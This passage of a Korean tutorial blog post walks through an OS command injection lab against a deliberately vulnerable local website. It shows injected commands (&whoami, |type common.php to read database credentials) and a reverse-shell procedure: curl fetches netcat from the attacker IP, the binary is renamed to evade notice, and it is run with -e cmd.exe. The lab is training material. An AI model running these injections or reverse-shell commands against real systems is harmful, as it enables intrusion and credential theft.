height=&quot;782&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;782&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;555&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dyLuVN/btsLBweXLEG/3lgKrwd7BKkIpaw8sCE4R0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dyLuVN/btsLBweXLEG/3lgKrwd7BKkIpaw8sCE4R0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dyLuVN/btsLBweXLEG/3lgKrwd7BKkIpaw8sCE4R0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdyLuVN%2FbtsLBweXLEG%2F3lgKrwd7BKkIpaw8sCE4R0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;924&quot; height=&quot;555&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;555&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CMD 에서도 동일하게 아래와 같은 결과가 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;277&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LDE0N/btsLB25Yyt9/VXtg2haalT6aBuJW73fPf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LDE0N/btsLB25Yyt9/VXtg2haalT6aBuJW73fPf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LDE0N/btsLB25Yyt9/VXtg2haalT6aBuJW73fPf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLDE0N%2FbtsLB25Yyt9%2FVXtg2haalT6aBuJW73fPf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;436&quot; height=&quot;277&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;277&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1&amp;amp;ipconfig 를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 Windows PC의 네트워크 정보를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Linux/Unix 환경에서는 ifconfig 명령어를 실행해야 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;897&quot; data-origin-height=&quot;974&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pKGI4/btsLBLQJWUk/JkKij5wPtkohu8TC3f83u1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pKGI4/btsLBLQJWUk/JkKij5wPtkohu8TC3f83u1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pKGI4/btsLBLQJWUk/JkKij5wPtkohu8TC3f83u1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpKGI4%2FbtsLBLQJWUk%2FJkKij5wPtkohu8TC3f83u1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;897&quot; height=&quot;974&quot; data-origin-width=&quot;897&quot; data-origin-height=&quot;974&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1&amp;amp;ver 를 입력하여 버전 정보도 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;837&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oTU4x/btsLC0M9nUm/eKcU8GgoTllyEU0xIjIVO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oTU4x/btsLC0M9nUm/eKcU8GgoTllyEU0xIjIVO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oTU4x/btsLC0M9nUm/eKcU8GgoTllyEU0xIjIVO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoTU4x%2FbtsLC0M9nUm%2FeKcU8GgoTllyEU0xIjIVO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;924&quot; height=&quot;837&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;837&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;whoami - &lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;현재 컴퓨터에 로그온되어 있는 계정의 정보&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1&amp;amp;whoami 를 입력한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;809&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhwivS/btsLClK0hzV/lJtaFpNBjffzPMA7EWXfWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhwivS/btsLClK0hzV/lJtaFpNBjffzPMA7EWXfWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhwivS/btsLClK0hzV/lJtaFpNBjffzPMA7EWXfWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhwivS%2FbtsLClK0hzV%2FlJtaFpNBjffzPMA7EWXfWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;919&quot; height=&quot;809&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;809&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;system 계정으로 확인이된다. (Windows 최고 권한)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 권한인 경우 공격자가 할 수 있는 공격이 다양해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;| (파이프) 를 사용하면 이전 명령어는 실행은 되지만 출력이되지 않고 뒤에 명령어만 출력이된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1|whoami 를 입력해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgJu4d/btsLA6nwGmZ/yHdFnUho63ZEVTcxCkdwN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgJu4d/btsLA6nwGmZ/yHdFnUho63ZEVTcxCkdwN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgJu4d/btsLA6nwGmZ/yHdFnUho63ZEVTcxCkdwN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgJu4d%2FbtsLA6nwGmZ%2FyHdFnUho63ZEVTcxCkdwN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;921&quot; height=&quot;554&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows 는 대표적으로 &amp;amp;, | 메타 문자를 사용하여 시스템 명령어를 삽입한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 열람 시 Windows는 type, Linux/Unix는 cat 명령어를 사용한다. (etc/passwd 및 소스코드 열람)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dir - 현재 디렉터리 및 파일 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1|dir&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;905&quot; data-origin-height=&quot;969&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yEjzq/btsLA5WsgDC/pxC8zB7E5lBrlfiwjku3tK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yEjzq/btsLA5WsgDC/pxC8zB7E5lBrlfiwjku3tK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yEjzq/btsLA5WsgDC/pxC8zB7E5lBrlfiwjku3tK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyEjzq%2FbtsLA5WsgDC%2FpxC8zB7E5lBrlfiwjku3tK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;905&quot; height=&quot;969&quot; data-origin-width=&quot;905&quot; data-origin-height=&quot;969&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;type 명령어를 사용하여 common.php 파일을 열람해본다. (DB 접속 정보)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1|type common.php&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;931&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8gHEY/btsLA8r5G1m/4GUhsYCscP5ejz1j14BDAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8gHEY/btsLA8r5G1m/4GUhsYCscP5ejz1j14BDAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8gHEY/btsLA8r5G1m/4GUhsYCscP5ejz1j14BDAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8gHEY%2FbtsLA8r5G1m%2F4GUhsYCscP5ejz1j14BDAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;924&quot; height=&quot;931&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;931&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;common.php 파일 내 소스코드가 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cmd 에서는 common.php 가 있는 디렉터리의 상세경로를 입력하여 확인이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ping 192.168.56.1|type C:\APM_Setup\htdocs\insecure_website\common.php&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;317&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkyQiK/btsLBXJ8li7/0ApgVTTqeJbM19mcO05Qbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkyQiK/btsLBXJ8li7/0ApgVTTqeJbM19mcO05Qbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkyQiK/btsLBXJ8li7/0ApgVTTqeJbM19mcO05Qbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdkyQiK%2FbtsLBXJ8li7%2F0ApgVTTqeJbM19mcO05Qbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;722&quot; height=&quot;317&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;317&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습3-2 OS Command Injection 공격을 통한 Reverse-Shell 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Bind Shell 과 Reverse Shell&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Bind Shell(정방향 연결)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 서버에서 서버 포트가 열리고, 클라이언트(공격자)가 서버로 접속하여 생성하는 쉘, 일반적인 서버로 접속하는 형태&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reverse Shell(역방향 연결)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 클라이언트(공격자)가 리스닝을 하고 서버에서 클라이언트(공격자)쪽으로 접속하는 형태, 일반적인 방화벽 정책은 Inbound 정책은 대부분 차단되지만, Outbound 정책은 허용된 경우가 많기 때문에 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reverse Shell을 수행하기 위해 Netcat 을 다운로드한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Netcat - 평문 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ncat - 암호화 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Netcat 다운로드 링크 - 1.12 버전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://eternallybored.org/misc/netcat/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://eternallybored.org/misc/netcat/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운로드 받으려는 순간 윈도우 디펜더에서 바이러스를 감지하여 다운로드가 불가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디펜더를 해제하거나 VDI 환경을 새로 구성해서 Netcat 을 다운로드 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디펜터를 해제하면 로컬 PC가 취약해질 위험이 있으므로 VDI 환경을 새로 구성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VDI 환경을 구성하게 되면 기존의 APM Setup 및 취약 환경을 VDI 에 다시 구축해줘야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약한 VDI 환경 구축은 &lt;a href=&quot;https://it-log.tistory.com/190&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고한다. (Windows 7 구축)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;공격 프로세스는 다음과 같다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1) Netcat 프로그램 준비&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2) 웹 서버로 Netcat 업로드(wget, curl) &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 127.0.0.1|curl -o nc.exe http://공격자 IP/nc.exe&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3) 공격자 PC Netcat&amp;nbsp; 리스닝 &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; nc.exe -lvp 9999&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4) 웹 서버에서 Netcat 명령어 실행을 통한 Reverse Shell 연결&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; nc.exe [공격자 IP] [포트] -e [Shell]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows - cmd.exe&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Linux/Unix - /bin/sh 또는 /bin/bash&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Netcat 다운로드 후 nc.exe 파일을 htdocs 폴더 내로 이동해준다. (C:\APM_Setup\htdocs)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;758&quot; data-origin-height=&quot;547&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpvj53/btsLBv8DWjh/lXeS8BhQ7eiVK9iTYMfRkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpvj53/btsLBv8DWjh/lXeS8BhQ7eiVK9iTYMfRkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpvj53/btsLBv8DWjh/lXeS8BhQ7eiVK9iTYMfRkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcpvj53%2FbtsLBv8DWjh%2FlXeS8BhQ7eiVK9iTYMfRkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;758&quot; height=&quot;547&quot; data-origin-width=&quot;758&quot; data-origin-height=&quot;547&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;435&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5rsVa/btsLDHs2BlA/M7JcurUQFWFqpRZMgjcPT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5rsVa/btsLDHs2BlA/M7JcurUQFWFqpRZMgjcPT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5rsVa/btsLDHs2BlA/M7JcurUQFWFqpRZMgjcPT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5rsVa%2FbtsLDHs2BlA%2FM7JcurUQFWFqpRZMgjcPT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;853&quot; height=&quot;435&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;435&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버에 현재 netcat 이 업로드된 상태가 아니다. 서버에 netcat 이 업로드가 되면 서버에서 클라이언트(공격자) 쪽으로 연결이 가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 취약점 진단을 할때 netcat 을 서버에 업로드하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트(공격자) - C:\APM_Setup\htdocs&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버(피해자) - C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl - 프로토콜들을&amp;nbsp;이용해&amp;nbsp;URL&amp;nbsp;로&amp;nbsp;데이터를&amp;nbsp;전송하여&amp;nbsp;서버에&amp;nbsp;데이터를&amp;nbsp;보내거나&amp;nbsp;가져올때&amp;nbsp;사용하기&amp;nbsp;위한&amp;nbsp;명령줄&amp;nbsp;도구&amp;nbsp;및&amp;nbsp;라이브러리이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nc.exe 를 board.exe 로 이름을 변경한다. (nc.exe는 너무 대놓고 netcat 을 의미하므로)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ping 명령어 IP]|curl -o [파일 이름 지정] [클라이언트 IP 주소/netcat 프로그램]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-o 옵션: curl로 받아온 내용을 지정한 이름의 파일로 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;실제 취약점 진단을 할 때는 클라이언트(공격자) IP 주소가 사설 IP가 아닌, 외부망으로 공인 IP를 사용하게 된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;보통 공유기 환경으로 공유기 IP를 공격자 IP와 포트포워딩 하여 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 새로 구축한 VDI 환경의 로컬 IP가 10.0.2.4로 클라이언트 IP로 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1|curl -o board.exe http://10.0.2.4/board.exe 를 입력하여 클라이언트(공격자)에 있는 netcat 을 서버에서 다운로드 받도록 명령한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아쉽게도 Windows 7에 curl 이 설치되어 있지 않아 명령어가 실행되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 로컬 PC에서는 curl 명령어 수행 시 다운로드가 가능하였다. (로컬 PC Windows 10)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl 을 사용하여 netcat 프로그램을 서버에 업로드했다고 가정한 상태로 실습을 진행한다. (실제로는 insecure_website 폴더 내에 board.exe 를 복붙했다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;netcat 의 실행방법은 다음과 같다. (공격자 PC 에서 포트 리스닝)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nc.exe -lvp 9999&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;l : 리스닝&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v : 자세히 보기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;p : 포트(방화벽의 Outbound 정책에 따라 결정, 정책에 빡셀수록 80 or 53 or 443 등의 주요 포트 사용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VDI 에서 CMD창을 열고 board.exe 가 설치되어 있는 디렉터리로 이동한다. (공격자 PC)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cd C:\APM_Setup\htdocs&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;board.exe -lvp 9999&lt;/p&gt;
